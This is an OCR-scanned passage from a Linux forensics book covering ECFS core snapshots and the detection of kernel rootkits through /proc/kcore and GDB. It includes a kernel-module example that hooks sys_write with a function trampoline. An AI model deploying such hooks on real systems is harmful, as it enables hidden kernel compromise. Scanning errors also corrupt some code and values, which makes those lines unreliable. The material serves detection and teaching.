This points to one of several possible stack segments depending on the number of threads. Without a
section named . stack, it would be far more difficult to know where the actual stack of the process is.
'You would have to look at the value of the %rsp register and then see which program header segments
contain address ranges that match the stack pointer value.

.heap

Similar to the .stack section, this points to the heap segment, also making identification of the heap
much easier, especially on systems where ASLR moves the heap to random locations. On older
systems, it was always extended from the data segment.

.bss

shared library, the .bss section contains nothing, since uninitialized data takes up no space on disk.
ECFS represents the memory, however, and the .bss section is not actually created until runtime. The
ECFS files have a .bss section that actually reflects the uninitialized data variables being used by the
process.

.vdso

This points to the [vdso] segment that is mapped into every Linux process containing code that is
necessary for certain glibc system call wrappers to invoke the real system call.

.vsyscall

Similar to the .vdso code, the .vsyscall page contains code for invoking only a handful of virtual
system calls. It has been kept around for backwards compatibility. It may prove useful to know this
location during reverse engineering.

.procfs.tgz

This section contains the entire directory structure and files for the /proc/$pid of the process that was
captured by the ECFS handler. If you are an avid forensic analyst or programmer, then you probably
already know how useful the information contained in the proc filesystem is. There are well over 300
files within /proc/$pid for a single process.

This section contains an array of struct e1f_prstatus structures. Very important information pertaining
to the state of the process and its registers is stored in these structures:

struct elf_prstatus

||This section is not new with ECFS. The only reason it is mentioned here is that with an executable or




struct elf_siginfo pr_info; /* Info associated with signal. */
short int pr_cursig; /* Current signal. */
unsigned long int pr_sigpend; /* Set of pending signals. */
unsigned long int pr_sighold; /* Set of held signals. */
.prstatus _ pid_t pr_pid;
—_pid_t pr_ppid;
__pid_t pr_pgrp;
__pid_t pr_sid;
struct timeval pr_utime; /* User time. */
struct timeval pr_stime; /* System time. */
struct timeval pr_cutime; /* Cumulative user time. */
struct timeval pr_cstime; /* Cumulative system time. */
elf_gregset_t pr_reg; /* GP registers. */
int pr_fpvalid; /* True if math copro being used. */
}
This section contains ECFS custom data that describes the file descriptors, sockets, and pipes being
used for the processes’ open files, network connections, and inter-process communication. The header
file, ecfs.h, defines the fdinfo_t type:
typedef struct fdinfo {
int fd;
char path[MAX_PATH];
loff_t pos;
unsigned int perms;
struct {
struct in_addr src_addr;
struct in_addr dst_addr;
uintl6_t src_port;
uintl6_t dst_port;
} socket;
. char net;
.fdinfo } fd_info_t;

The readecfs utility parses and displays the file descriptor information nicely, as shown when looking
at an ECFS snapshot for sshd:

[fd: 0:0] perms: 8002 path: /dev/null
[fd: 1:0] perms: 8002 path: /dev/null
[fd: 2:0] perms: 8002 path: /dev/null
[fd: 3:0] perms: 802 path: socket:[10161]
PROTOCOL: TCP

SRC: 0.0.0.0:22

DST: 0.0.0.0:0

[fd: 4:0] perms: 802 path: socket:[10163]
PROTOCOL: TCP

SRC: 0.0.0.0:22

DST: 0.0.0.0:0

This section contains signal-specific information, such as what signal killed the process, or what the last|
.siginfo signal code was before the snapshot was taken. The siginfo_t struct is stored in this section. The
format of this struct can be seen in /usr/include/bits/siginfo.h.

This contains the actual auxiliary vector from the bottom of the stack (the highest memory address).
The auxiliary vector is set up by the kernel at runtime, and it contains information that is passed to the
dynamic linker at runtime. This information may prove valuable in a number of ways to the advanced
forensic analyst.

.auxvector

This holds the string of the original executable path that was invoked for this process, that is,
-exepath /usr/shin/sshd.

This contains personality information, that is, ECFS personality information. An 8-byte unsigned
integer can be set with any number of personality flags:

#define ELF_STATIC (1 << 1) // if it's statically linked (instead of dynamically)

.personality : R
#define ELF_PIE (1 << 2) // if it's a PIE executable




#define ELF_LOCSYM (1 << 3) // was a .symtab symbol table created by ecfs?
#define ELF_HEURISTICS (1 << 4) // were detection heuristics used by ecfs?
#define ELF_STRIPPED_SHDRS (1 << 8) // did the binary have section headers?

.arglist

Contains the original 'char **argv' stored as an array in this section.




Using an ECFS file as a regular core file

The ECFS core file format is essentially backward compatible with regular Linux core
files, and can therefore be used as core files for debugging with GDB in the traditional
way.

The ELF file header for ECFS files has its e_type (ELF type) set to ET_NONE instead of
ET_CORE, however. This is because core files are not expected to have section headers but
ECEFS files do have section headers, and to make sure that they are acknowledged by
certain utilities such as objdump, objcopy, and so on, we have to mark them as files other
than CORE files. The quickest way to toggle the ELF type in an ECFS file is with the
et_f1lip utility that comes with the ECFS software suite.

Here’s an example of using GDB with an ECFS core file:

$ gdb -g /usr/sbin/sshd sshd.1195

Reading symbols from /usr/sbin/sshd..(no debugging symbols found)...done.
"/opt/ecfs/cores/sshd.1195" is not a core dump: File format not recognized
(gdb) quit

Then, the following is an example of changing the ELF file type to ET_CORE and trying
again:

$ et_flip sshd.1195

$ gdb -g /usr/sbin/sshd sshd.1195

Reading symbols from /usr/sbin/sshd..(no debugging symbols found)...done.
[New LWP 1195]

[Thread debugging using libthread_db enabled]

Using host libthread_db library "/1ib/x86_64-1linux-gnu/libthread_db.so.1".
Core was generated by "/usr/sbin/sshd -D'.

Program terminated with signal SIGSEGV, Segmentation fault.

#0 0Ox00007ff4066b8d83 in _ select_nocancel () at ../sysdeps/unix/syscall-
template.S:81

81 ../sysdeps/unix/syscall-template.S: No such file or directory.

(gdb)



The libecfs API and how to use it

The libecfs API is the key component for integrating ECFS support into your malware
analysis and reverse engineering tools for Linux. There is too much to document on this
library to put into a single chapter of this book. I recommend that you use the manual that
is still growing right alongside the project itself:

https://github.com/elfmaster/ecfs/blob/master/Documentation/libecfs_manual.txt


https://github.com/elfmaster/ecfs/blob/master/Documentation/libecfs_manual.txt




Process necromancy with ECFS

Have you ever wanted to be able to pause and resume a process in Linux? After designing
ECFS, it quickly became apparent that they contained enough information about the
process and its state to relaunch them back into memory so that they can begin execution
where they last left off. This feature has many possible use cases and demands more
research and development.

Currently, the implementation for ECFS snapshot execution is basic and can only handle
simple processes. At the time of writing this chapter, it can restore file streams but not
sockets or pipes, and can only handle single-threaded processes. The software for
executing an ECFS snapshot can be found on GitHub at

https://github.com/elfmaster/ecfs_exec.

Here’s an example of snapshot execution:

$ ./print_passfile
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin

- interrupted by snapshot -

We now have the ECFS snapshot file print_passfile.6627 (Where 6627 is the process ID).
We will use ecfs_exec to execute this snapshot, and it should begin where it left off:

$ ecfs_exec ./print_passfile.6627

[+] Using entry point: 7f79a0473f20

[+] Using stack vaddr: 7fff8c752738
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin

nobody: x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
usbmux:x:103:46:usbmux daemon,,, :/home/usbmux:/bin/false
dnsmasq:x:104:65534:dnsmasq, ,, :/var/lib/misc:/bin/false
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-
autoipd:/bin/false

kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
saned:x:108:115::/home/saned:/bin/false


https://github.com/elfmaster/ecfs_exec

whoopsie:x:109:116::/nonexistent:/bin/false
speech-dispatcher:x:110:29:Speech Dispatcher,,, :/var/run/speech-
dispatcher:/bin/sh

avahi:x:111:117:Avahi mDNS daemon, ,, :/var/run/avahi-daemon:/bin/false
lightdm:x:112:118:Light Display Manager:/var/lib/lightdm:/bin/false
colord:x:113:121:colord colour management

daemon, ,, :/var/lib/colord:/bin/false

hplip:x:114:7:HPLIP system user,,,:/var/run/hplip:/bin/false
pulse:x:115:122:PulseAudio daemon,,, :/var/run/pulse:/bin/false
statd:x:116:65534::/var/lib/nfs:/bin/false
guest-ieu5xg:x:117:126:Guest,,, :/tmp/guest-ieu5xg:/bin/bash
sshd:x:118:65534::/var/run/sshd:/usr/sbin/nologin
gdm:x:119:128:Gnome Display Manager:/var/lib/gdm:/bin/false

That is a very simple demonstration of how ecfs_exec works. It uses the file descriptor
information from the . fdinfo section to learn the file descriptor number, file path, and file

offset. It also uses the .prstatus and . fpregset sections to learn the register state so that
it can resume execution from where it left off.






Learning more about ECFS

The extended core file snapshot technology, ECFS, is still relatively new. I presented on it

at defcon 23 (https://www.defcon.org/html/defcon-23/dc-23-speakers.html#0%?27Neill),

and the word is still spreading. Hopefully, a community will evolve and more people will
begin adopting ECFS for their daily forensics work and tools. Nonetheless, at this point,
there are several resources for ECFS in existence:

The official GitHub page: https://github.com/elfmaster/ecfs
e The original white paper (outdated): http://www.leviathansecurity.com/white-

papers/extending-the-elf-core-format-for-forensics-snapshots
e An article from POC || GTFO 0x7: Innovations with core files,

https://speakerdeck.com/ange/poc-gtfo-issue-0x07-1



https://www.defcon.org/html/defcon-23/dc-23-speakers.html#O%27Neill
https://github.com/elfmaster/ecfs
http://www.leviathansecurity.com/white-papers/extending-the-elf-core-format-for-forensics-snapshots
https://speakerdeck.com/ange/poc-gtfo-issue-0x07-1




Summary

In this chapter, we covered the basics of the ECFS snapshot technology and the snapshot
format. We experimented with ECFS using several real-life forensic examples, and even
wrote a tool that detects shared library injection and PLT/GOT hooks using the libecfs C
library. In the next chapter, we will jump out of userland and explore the Linux kernel, the
layout of vmlinux, and a combination of kernel rootkit and forensic techniques.






Chapter 9. Linux /proc/kcore Analysis

So far, we have covered Linux binaries and memory as it pertains to userland. This book
won’t be complete, however, if we don’t spend a chapter on the Linux kernel. This is
because it is actually an ELF binary as well. Similar to how a program is loaded into
memory, the Linux kernel image, also known as vmlinux, is loaded into memory at boot
time. It has a text segment and a data segment, overlaid with many section headers that are
very specific to the kernel, and which you won’t see in userland executables. We will also
briefly cover LKMs in this chapter, as they are ELF files too.



Linux kernel forensics and rootkits

It is important to learn the layout of the Linux kernel image if you want to be a true master
of kernel forensics in Linux. Attackers can modify the kernel memory to create very
sophisticated kernel rootkits. There are quite a number of techniques out there for
infecting a kernel at runtime. To list a few, we have the following:

A sys_call_table infection
Interrupt handler patching
Function trampolines

Debug register rootkits
Exception table infection
Kprobe instrumentation

The techniques listed here are the primary methods that are most commonly used by a
kernel rootkit, which usually infects the kernel in the form of an LKM (short for
Loadable Kernel Module). Getting an understanding of each technique and knowing
where each infection resides within the Linux kernel and where to look in the memory are
paramount to being able to detect this insidious class of Linux malware. Firstly, however,
let’s take a step back and see what we have to work with. Currently, there are a number of
tools in the market and in the open source world that are capable of detecting kernel
rootkits and help in searches for memory infections. We will not be discussing those. We
will, however, be discussing methods that are taken from kernel Voodoo. Kernel Voodoo is
a project of mine that is still mostly private, with the exception of releasing a few
components of it to the public, such as taskverse. This will be discussed later in this
chapter, with a link to download it from. It uses some very practical techniques for
detecting almost any type of kernel infection. The software is based on ideas from my
original work, named Kernel Detective, which was designed in 2009, and for the curious,
it can still be found on my website at http://www.bitlackeys.org/#kerneldetective.

This software works on older 32-bit Linux kernels (2.6.0 to 2.6.32) only; 64-bit support
was only partially completed. Some of the ideas from this project were timeless, however,
and I extracted them recently and coupled them with some new ideas. The result is Kernel
Voodoo, a host intrusion detection system, and kernel forensics software that relies on
/proc/kcore for advanced memory acquisition and analysis. In this chapter, we are going to
discuss some of the fundamental techniques that it uses, and in some cases, we will
employ them manually with GDB and /proc/kcore.


http://www.bitlackeys.org/#kerneldetective




stock vmlinux has no symbols

Unless you have compiled your own kernel, you will not have a readily accessible
vmlinux, which is an ELF executable. Instead, you will have a compressed kernel in
/boot, usually named vmlinuz-<kernel_version>. This compressed kernel image can be
decompressed, but the result is a kernel executable that has no symbol table. This poses a
problem for forensics analysts or kernel debugging with GDB. The solution for most
people in this case is to hope that their Linux distribution has a special package with their
kernel version having debug symbols. If so, then they can download a copy of their kernel
that has symbols from the distribution repository. In many cases, however, this is not
possible, or not convenient for one reason or another. Nonetheless, this problem can be
remedied with a custom utility that I designed and released in 2014. This tool is called
kdress, because it dresses the kernel symbol table.

Actually, it is named after an old tool by Michael Zalewskis, called dress. That tool would
dress a static executable with a symbol table. This name originates from the fact that
people run a program called strip to remove symbols from an executable, and therefore
“dress” is an appropriate name for a tool that rebuilds the symbol table. Our tool, kdress,
simply takes information about symbols from either the System.map file or
/proc/kallsyms depending on whichever is more readily available. Then, it reconstructs
that information into the kernel executable by creating a section header for the symbol
table. This tool can be found on my GitHub profile at https://github.com/elfmaster/kdress.


https://github.com/elfmaster/kdress

Building a proper vimlinux with kdress

Here is an example that shows how to use the kdress utility to build a vmlinux image that
can be loaded with GDB:

Usage: ./kdress vmlinuz_input vmlinux_output <system.map>

$ ./kdress /boot/vmlinuz-"uname -r° vmlinux /boot/System.map- uname -r°
[+] vmlinux has been successfully extracted

[+] vmlinux has been successfully instrumented with a complete ELF symbol
table.

The utility has created an output file called vmlinux, which has a fully reconstructed
symbol table. If, for example, we want to locate the sys_call_table in the kernel, then
we can easily find it:

$ readelf -s vmlinux | grep sys_call_table

34214: ffffffff81801460 4368 OBJECT GLOBAL DEFAULT 4 sys_call_table
34379: ffffffff8180c5a0@ 2928 OBJECT GLOBAL DEFAULT 4
ia32_sys_call_table

Having a kernel image with symbols is very important for both debugging and forensic
analysis. Nearly all forensics on the Linux kernel can be done with GDB and
/proc/kcore.






/proc/kcore and GDB exploration

The /proc/kcore technique is an interface for accessing kernel memory, and is
conveniently in the form of an ELF core file that can be easily navigated with GDB.

Using GDB with /proc/kcore is a priceless technique that can be expanded to very in-

depth forensics for the skilled analyst. Here is a brief example that shows how to navigate
sys_call_table.



An example of navigating sys_call_table

$ sudo gdb -g vmlinux /proc/kcore
Reading symbols from vmlinux..
[New process 1]
Core was generated by "BOOT_IMAGE=/vmlinuz-3.16.0-49-generic
root=/dev/mapper/ubuntu--vg-root ro quiet'.
#0 Ox0000000000000000 in ?? ()
(gdb) print &sys_call_table
$1 = (<data variable, no debug info> *) Oxffffffff81801460 <sys_call_table>
(gdb) x/gx &sys_call_table
OxXFfffffff81801460 <sys_call_table>: Oxffffffff811d5260
(gdb) x/51i Oxffffffff811d5260
oxffffffff811d5260 <sys_read>: data32 data32 data32 xchg %ax, %ax
oxffffffff811d5265 <sys_read+5>: push %rbp
oxffffffff811d5266 <sys_read+6>: mov %rsp,%rbp
Oxffffffff811d5269 <sys_read+9>: push %ri4d
oxffffffff811d526b <sys_read+11>:mov %rdx, %rid

In this example, we can look at the first pointer held in sys_call_table[0] and determine
that it contains the address of the syscall function sys_read. We can then look at the first
five instructions of that syscall. This is an example of how easy it is to navigate kernel
memory using GDB and /proc/kcore. If there had been a kernel rootkit installed that
hooked sys_read with function trampolines, then displaying the first few instructions
would have shown a jump or return to another malicious function. Using a debugger in
this manner to detect kernel rootkits is very useful if you know what to look for. The
structural nuances of the Linux kernel and how it may be infected are advanced topics and
seem esoteric to many people. One chapter is not enough to fully demystify all of this, but
we will cover the methods that may be used to infect the kernel and detect the infections.
In the following sections, I will discuss a few approaches used to infect the kernel from a
general standpoint, while giving some examples.

Note

Using just GDB and /proc/kcore, it is possible to detect every type of infection that is
mentioned throughout this chapter. Tools such as kernel Voodoo are very nice and
convenient but are not absolutely necessary to detect deviations from a normally operating
kernel.






Direct sys_call_table modifications

Traditional kernel rootkits, such as adore and phalanx, worked by overwriting pointers in
sys_call_table so that they would point to a replacement function, which would then
call the original syscall as needed. This was accomplished by either an LKM or a program
that modified the kernel through /dev/kmem or /dev/mem. On today’s Linux systems, for
security reasons, these writable windows into memory are disabled or are no longer
capable of anything but read operations depending on how the kernel is configured. There
have been other ways of trying to prevent this type of infection, such as marking
sys_call_table as const so that it is stored in the .rodata section of the text segment.
This can be bypassed by marking the corresponding PTE (short for Page Table Entry) as
writeable, or by disabling the write-protect bit in the cro register. Therefore, this type of
infection is a very reliable way to make a rootkit even today, but it is also very easily
detected.



Detecting sys_call_table modifications

To detect sys_call table modifications, you may look at the System.map file or
/proc/kallsyms to see what the memory address of each system call should be. For
instance, if we want to detect whether or not the sys_write system call has been infected,
we need to learn the legitimate address of sys_write and its index within the
sys_call_table, and then validate that the correct address is actually stored there in
memory using GDB and /proc/kcore.

An example of validating the integrity of a syscall

$ sudo grep sys_write /proc/kallsyms

fFffffff811d5310 T sys_write

$ grep _write /usr/include/x86_64-1linux-gnu/asm/unistd_64.h
#define __NR_write 1

$ sudo gdb -g vmlinux /proc/kcore

(gdb) x/gx &sys_call_table+1

OxFfffffff81801464 <sys_call_table+4>: 0x811d5310ffffffff

Remember that numbers are stored in little endian on x86 architecture. The value at
sys_call _table[1] is equivalent to the correct sys_write address as looked up in
/proc/kallsyms. We have therefore successfully verified that the sys_call table entry
for sys_write has not been tampered with.



Kernel function trampolines

This technique was originally introduced by Silvio Cesare in 1998. The idea was to be
able to modify syscalls without having to touch sys_call table, but the truth is that this
technique allows any function in the kernel to be hooked. Therefore, it is very powerful.
Since 1998, a lot has changed; the kernels text segments can no longer be modified
without disabling the write-protect bit in cre or modifying a PTE. The main issue,
however, is that most modern kernels use SMP, and kernel function trampolines are unsafe
because they use non-atomic operations such as memcpy () every time the patched function
is called. As it turns out, there are methods for circumventing this problem as well, using a
technique that I will not discuss here. The real point is that kernel function trampolines are
actually still being used, and therefore understanding them is still quite important.

Note

It is considered a safer technique to patch the individual call instructions that invoke the
original function so that they invoke the replacement function instead. This method can be
used as an alternative to function trampolines, but it may be arduous to find every single
call, and this often changes from kernel to kernel. Therefore, this method is not as
portable.



Example of function trampolines

Imagine you want to hijack syscall SYS_write and do not want to worry about modifying
sys_call_table directly since it is easily detectable. This can be accomplished by
overwriting the first 7 bytes of the sys_write code with a stub that contains code for
jumping to another function.

An example code for hijacking sys_write on a 32-bit kernel
#define SYSCALL_NR __NR_write

static char syscall_code[7];

static char new_syscall_code[7] =

"\x68\x00\x00\x00\x00\xc3"; // push $addr; ret

// our new version of sys_write
int new_syscall(long fd, void *buf, size_t 1len)

{
printk (KERN_INFO "I am the evil sys_write!\n");
// Replace the original code back into the first 6
// bytes of sys_write (remove trampoline)
memcpy (
sys_call_table[SYSCALL_NR], syscall_code,
sizeof(syscall_code)
);
// now we invoke the original system call with no trampoline
((int (*)(fd, buf, len))sys_call table[SYSCALL_NR])(fd, buf, 1len);
// Copy the trampoline back in place!
memcpy (
sys_call_table[SYSCALL_NR], new_syscall_code,
sizeof(syscall_code)
);
}
int init_module(void)
{

// patch trampoline code with address of new sys_write
*(long *)&new_syscall code[1] = (long)new_syscall;

// insert trampoline code into sys_write

memcpy (
syscall _code, sys_call_table[SYSCALL_NR],
sizeof(syscall_code)

)

memcpy (
sys_call table[SYSCALL_NR], new_syscall code,
sizeof(syscall_code)

)

return 0;



void cleanup_module(void)

{
// remove infection (trampoline)
memcpy (
sys_call_table[SYSCALL_NR], syscall_code,
sizeof(syscall_code)
)
}

This code example replaces the first 6 bytes of sys_write with a push; ret stub, which
pushes the address of the new sys_write function onto the stack and returns to it. The
new sys_write function can then do any sneaky stuff it wants to, although in this example
we only print a message to the kernel log buffer. After it has done the sneaky stuff, it must
remove the trampoline code so that it can call untampered sys_write, and finally it puts the
trampoline code back in place.



Detecting function trampolines

Typically, function trampolines will overwrite part of the procedure prologue (the first 5 to
7 bytes) of the function that they are hooking. So, to detect function trampolines within
any kernel function or syscall, you should inspect the first 5 to 7 bytes and look for code
that jumps or returns to another address. Code like this can come in a variety of forms.
Here are a few examples.

An example with the ret instruction

Push the target address onto the stack and return to it. This takes up 6 bytes of machine
code when a 32-bit target address is used:

push $address
ret

An example with indirect jmp

Move the target address into a register for an indirect jump. This takes 7 bytes of code
when a 32-bit target address is used:

movl $addr, %eax
jmp *%eax

An example with relative jmp

Calculate the offset and perform a relative jump. This takes 5 bytes of code when a 32-bit
offset is used:

jmp offset

If, for instance, we want to validate whether or not the sys_write syscall has been hooked
with a function trampoline, we can simply examine its code to see whether the procedure
prologue is still in place:

$ sudo grep sys_write /proc/kallsyms

OxXffffffff811d5310

$ sudo gdb -gq vmlinux /proc/kcore

Reading symbols from vmlinux..

[New process 1]

Core was generated by "BOOT_IMAGE=/vmlinuz-3.16.0-49-generic

root=/dev/mapper/ubuntu--vg-root ro quiet'.

#0 Ox0000000000000000 in ?? ()

(gdb) x/3i oxffffffff811d5310
OXFFffffff811d5310 <sys_write>: data32 data32 data32 xchg %ax, %ax
OXFFffffff811d5315 <sys_write+5>: push %rbp
OXFFffffff811d5316 <sys_write+6>: mov %rsp,%rbp

The first 5 bytes are actually serving as NOP instructions for alignment (or possibly space
for ftrace probes). The kernel uses certain sequences of bytes (0x66, 0x66, 0x66, 0x66,
and 0x90). The procedure prologue code follows the initial 5 NOP bytes, and is perfectly
intact. Therefore, this validates that sys_write syscall has not been hooked with any
function trampolines.



Interrupt handler patching — int 0x80, syscall

One classic way of infecting the kernel is by inserting a phony system call table into the
kernel memory and modifying the top-half interrupt handler that is responsible for
invoking syscalls. In an x86 architecture, the interrupt 0x80 is deprecated and has been
replaced with a special syscall/sysenter instruction for invoking system calls. Both
syscall/sysenter and int ©x86 end up invoking the same function, named system_call(),
which in-turn calls the selected syscall within sys_call_table:

(gdb) x/i system_call_fastpath+19
oxffffffff8176ea86 <system_call_fastpath+19>:
callg *-0x7e7febal(,%rax,8)

On x86_64, the preceding call instruction takes place after a swapgs in system_call().
Here is what the code looks like in entry.S:

call *sys_call_table(,%rax,8)

The (r/e)ax register contains the syscall number that is multiplied by sizeof(long) to
get the index into the correct syscall pointer. It is easily conceivable that an attacker can
kmalloc() a phony system call table into the memory (which contains some modifications
with pointers to malicious functions), and then patch the call instruction so that the phony
system call table is used. This technique is actually quite stealthy because it yields no
modifications to the original sys_call_table. Unfortunately for intruders, however, this
technique is still very easy to detect for the trained eye.



Detecting interrupt handler patching

To detect whether the system_call() routine has been patched with a call to a phony
sys_call_table or not, simply disassemble the code with GDB and /proc/kcore, and
then find out whether or not the call offset points to the address of sys_call table. The
correct sys_call_table address can be found in System.map or /proc/kallsyms.






Kprobe rootkits

This particular type of kernel rootkit was originally conceived and described in great detail
in a 2010 Phrack paper that I wrote. The paper can be found at

http://phrack.org/issues/67/6.html.

This type of kernel rootkit is one of the more exotic brands in that it uses the Linux
kernels Kprobe debugging hooks to set breakpoints on the target kernel function that the
rootkit is attempting to modify. This particular technique has its limitations, but it can be
quite powerful and stealthy. However, just like any of the other techniques, if the analyst
knows what to look for, then the kernel rootkits that use kprobes can be quite easy to
detect.


http://phrack.org/issues/67/6.html

Detecting kprobe rootkits

Detecting the presence of kprobes by analyzing memory is quite easy. When a regular
kprobe is set, a breakpoint is placed on either the entry point of a function (see jprobes) or
on an arbitrary instruction. This is extremely easy to detect by scanning the entire code
segment looking for breakpoints, as there is no reason a breakpoint should be placed in the
kernel code other than for the sake of kprobes. For the case of detecting optimized
kprobes, a jmp instruction is used instead of a breakpoint (int3) instruction. This would
be easiest to detect when jmp is placed on the first byte of a function, since that is clearly
out of place. Lastly, there is a simple list of active kprobes in
/sys/kernel/debug/kprobes/1list that actually contains a list of kprobes that are being
used. However, any rootkit, including the one that I demonstrated in phrack, will hide its
kprobes from the file, so do not rely on it. A good rootkit will also prevent kprobes from
being disabled in /sys/kernel/debug/kprobes/enabled.






Debug register rootkits —- DRR

This type of kernel rootkit uses the Intel Debug registers as a means to hijack the control
flow. A great Phrack paper was written by halfdead on this technique. It is available here:

http://phrack.org/issues/65/8.html.

This technique is often hailed as ultra-stealth because it requires no modification of
sys_call_table. Once again, however, there are ways of detecting this type of infection
as well.


http://phrack.org/issues/65/8.html

Detecting DRR

In many rootkit implementations, sys_call_table and other common infection points do
go unmodified, but the int1 handler does not. The call instruction to the do_debug
function gets patched to call an alternative do_debug function, as shown in the phrack
paper linked earlier. Therefore, detecting this type of rootkit is often as simple as
disassembling the int1 handler and looking at the offset of the call do_debug instruction,
as follows:

target_address = address_of_call + offset + 5

If target_address has the same value as the do_debug address found in System.map or
/proc/kallsyms, it means that the int1 handler has not been patched and is considered
clean.






VEFS layer rootkits

Another classic and powerful method of infecting the kernel is by infecting the kernel’s
VES layer. This technique is wonderful and quite stealthy since it technically modifies the
data segment in the memory and not the text segment, where discrepancies are easier to
detect. The VFS layer is very object-oriented and contains a variety of structs with
function pointers. These function pointers are filesystem operations such as open, read,
write, readdir, and so on. If an attacker can patch these function pointers, then they can
take control of these operations in any way that they see fit.



Detecting VFS layer rootkits

There are probably several techniques out there for detecting this type of infection. The
general idea, however, is to validate the function pointer addresses and confirm that they
are pointing to the expected functions. In most cases, these should be pointing to functions
within the kernel and not to functions that exist in LKMs. One quick approach to detecting
is to validate that the pointers are within the range of the kernel’s text segment.

An example of validating a VFS function pointer

if ((long)vfs_ops->readdir >= KERNEL_MIN_ADDR &&
(long)vfs_ops->readdir < KERNEL_MAX_ADDR)
pointer_is_valid = 1;
else
pointer_is_valid = 0;






Other kernel infection techniques

There are other techniques available for hackers for the purpose of infecting the Linux
kernel (we have not discussed these in this chapter), such as hijacking the Linux page fault

handler (http://phrack.org/issues/61/7.html). Many of these techniques can be detected by
looking for modifications to the text segment, which is a detection approach that we will

examine further in the next sections.


http://phrack.org/issues/61/7.html




vmlinux and .altinstructions patching

In my opinion, the single most effective method of rootkit detection can be summed up by
verifying the code integrity of the kernel in the memory—in other words, comparing the
code in the kernel memory against the expected code. But what can we compare kernel
memory code against? Well, why not vmlinux? This was an approach that I originally
explored in 2008. Knowing that an ELF executable’s text segment does not change from
disk to memory, unless it’s some weird self-modifying binary, which the kernel is not... or
is it? I quickly ran into trouble and was finding all sorts of code discrepancies between the
kernel memory text segment and the vmlinux text segment. This was baffling at first since
I had no kernel rootkits installed during these tests. After examining some of the ELF
sections in vmlinux, however, I quickly saw some areas that caught my attention:

$ readelf -S vmlinux | grep alt
[23] .altinstructions PROGBITS ffffffff81e64528 01264528
[24] .altinstr_replace PROGBITS ffffffff81e6a480 0126a480

There are several sections within the Linux kernel binary that contain alternative
instructions. As it turns out, the Linux kernel developers had a bright idea: what if the
Linux kernel can intelligently patch its own code segment at runtime, changing certain
instructions for “memory barriers” based on the specific CPU that was detected? This
would be a nice idea because fewer stock kernels would need to be created for all the
different types of CPUs out there. Unfortunately for the security researcher who wants to
detect any malicious changes in the kernel’s code segment, these alternative instructions
would have to be understood and applied first.



.altinstructions and .altinstr_replace

There are two sections that contain the majority of information needed to know which
instructions in the kernel are getting patched at runtime. There is a great article that
explains these sections now, which was not available at the time of my early research into
this area of the kernel:

https://lwn.net/Articles/531148/

The general idea, however, is that the .altinstructions section contains an array of
struct alt_instr structs. Each one represents an alternative instruction record, giving
you the location of the original instruction and the location of the new instruction that
should be used to patch the original. The .altinstr_replace section contains the actual
alternative instructions that are referenced by the alt_instr->repl_offset member.


https://lwn.net/Articles/531148/

From arch/x86/include/asm/alternative.h

struct alt_instr {

s32 instr_offset; /*
s32 repl_offset; /*
ulé cpuid; /*
u8 instrlen; /*
u8 replacementlen; /*

iy

original instruction */

offset to replacement instruction */
cpuid bit set for replacement */

length of original instruction */

length of new instruction, <= instrlen */

On older kernels, the first two members gave the absolute addresses of the old and new
instructions, but on newer kernels, a relative offset is used.



Using textify to verify kernel code integrity

Over the years, I have designed several tools that detect the integrity of the Linux kernel’s
code segment. This detection technique will obviously work only on kernel rootkits that
modify the text segment, and most of them do in some way or the other. However, there
are exceptions such as rootkits that rely only on altering the VFS layer, which resides in
the data segment and will not be detected by verifying the integrity of the text segment.
Most recently, the tool that I wrote (a part of the kernel Voodoo software suite) is named
textify, and it essentially compares the text segment of the kernel memory, taken from
/proc/kcore, against the text segment in vmlinux. It parses .altinstructions and
various other sections, such as .parainstructions, to learn the locations of code
instructions that are legally patched. In this way, there are no false positives showing up.
Although textify is currently not available to the public, the general idea has been
explained. Therefore, it may be reimplemented by anyone who wishes to attempt the
somewhat arduous coding procedures necessary to make it work.



An example of using textify to check sys_call_table

# ./textify vmlinux /proc/kcore -s sys_call_table

kernel Detective 2014 - Bitlackeys.org

[+] Analyzing kernel code/data for symbol sys_call table in range
[OXFfFfffff81801460 - Oxffffffff81802570]

[+] No code modifications found for object named 'sys_call table'

# ./textify vmlinux /proc/kcore -a

kernel Detective 2014 - Bitlackeys.org

[+] Analyzing kernel code of entire text segment. [Oxffffffff81000000 -
Oxffffffff81773da4]

[+] No code modifications have been detected within kernel memory

In the preceding example, we first check to make sure that sys_call_table has not been
modified. On modern Linux systems, sys_call_table is marked as read-only and is
therefore stored in the text segment, which is why we can use textify to validate its
integrity. In the next command, we run textify with the -a switch, which scans every
single byte in the entire text segment for illegal modifications. We could have simply run -
a to begin with since sys_call_table is included in -a, but sometimes, it’s nice to scan
things by symbol name too.






Using taskverse to see hidden processes

In the Linux kernel, there are a several ways to modify the kernel so that process hiding
can work. Since this chapter is not meant to be an exegesis on all kernel rootkits, I will
cover only the most commonly used method and then propose a way of detecting it, which
is implemented in the taskverse program I made available in 2014.

In Linux, the process IDs are stored as directories within the /proc filesystem; each
directory contains a plethora of information about the process. The /bin/ps program does
a directory listing in /proc to see which pids are currently running on the system. A
directory listing in Linux (such as with ps or 1s) uses the sys_getdents64 system call and
the filldire4 kernel function. Many kernel rootkits hijack one of these functions
(depending on the kernel version) and then insert some code that skips over the directory
entry containing the d_name of the hidden process. As a result, the /bin/ps program is
